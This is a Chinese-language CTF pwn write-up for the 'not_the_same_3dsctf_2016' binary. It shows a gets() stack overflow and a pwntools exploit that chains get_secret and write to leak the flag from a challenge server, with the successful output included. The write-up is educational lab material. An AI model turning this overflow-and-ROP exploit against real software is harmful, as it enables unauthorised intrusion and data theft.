思路

check一下保护

```
root@ubuntu:/home/giantbranch/Desktop/ctf# python exp.py
[*] '/home/giantbranch/Desktop/ctf/not_the_same_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Traceback (most recent call last):
```

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3   char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF
4
5   printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
6   gets(v4);
7   return 0;
8 }
```

溢出点在v4

```
0000002E                db ? ; undefined
0000002D var_2D         db 45 dup(?)
00000000  r             db 4 dup(?)
00000004 argc           dd ?
00000008 argv           dd ?                    ;
0000000C envp           dd ?                    ;
00000010
00000010 ; end of stack variables
```

没有ebp（一般情况下，有则所有函数都有，没有就全无）

```
1 int get_secret()
2 {
3   int v0; // esi
4
5   v0 = fopen("flag.txt", &unk_80CF91B);
6   fgets(&fl4g, 45, v0);
7   return fclose(v0);
8 }
```

这里读取内容到fl4g上面

```
.bss:080ECA2C                   db    ? ;
.bss:080ECA2D                   public fl4g
.bss:080ECA2D fl4g              db    ? ;                ; DATA XREF: get_
.bss:080ECA2E                   db    ? ;
.bss:080ECA2F                   db    ? ;
.bss:080ECA30                   db    ? ;
.bss:080ECA31                   db    ? ;
.bss:080ECA32                   db    ? ;
.bss:080ECA33                   db    ? ;
.bss:080ECA34                   db    ? ;
.bss:080ECA35                   db    ? ;
.bss:080ECA36                   db    ? ;
.bss:080ECA37                   db    ? ;
.bss:080ECA38                   db    ? ;
.bss:080ECA39                   db    ? ;
.bss:080ECA3A                   db    ? ;
.bss:080ECA3B                   db    ? ;
.bss:080ECA3C                   db    ? ;
.bss:080ECA3D                   db    ? ;
```

找到地址。

于是，我们需要调用get_sectet函数后调用write函数打印flag

fd：文件描述符；

buf：指定的缓冲区，即指针，指向一段内存单元；

nbyte：要写入文件指定的字节数；

返回值：写入文档的字节数（成功）；-1（出错）

write函数的参数如上

exp如下

exp.py (~/Desktop/ctf) - gedit

Open Save

```
from pwn import *
elf = ELF('not_the_same_3dsctf_2016')
flag_addr = 0x080489A0
write_addr = elf.symbols['write']
string_addr = 0x080ECA2D
io = remote('node3.buuoj.cn',25549)
payload = '0'*45+p32(flag_addr)+p32(write_addr)+'b'*4+p32(1)+p32(string_addr)+p32(45)
io.sendline(payload)
print(io.recvline())
io.interactive()
```

```
root@ubuntu:/home/giantbranch/Desktop/ctf# python exp.py
[*] '/home/giantbranch/Desktop/ctf/not_the_same_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to node3.buuoj.cn on port 25549: Done
flag{a8235074-680a-4345-8eb0-4e760ff70cb8}

[*] Switching to interactive mode
\x00\x00timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
```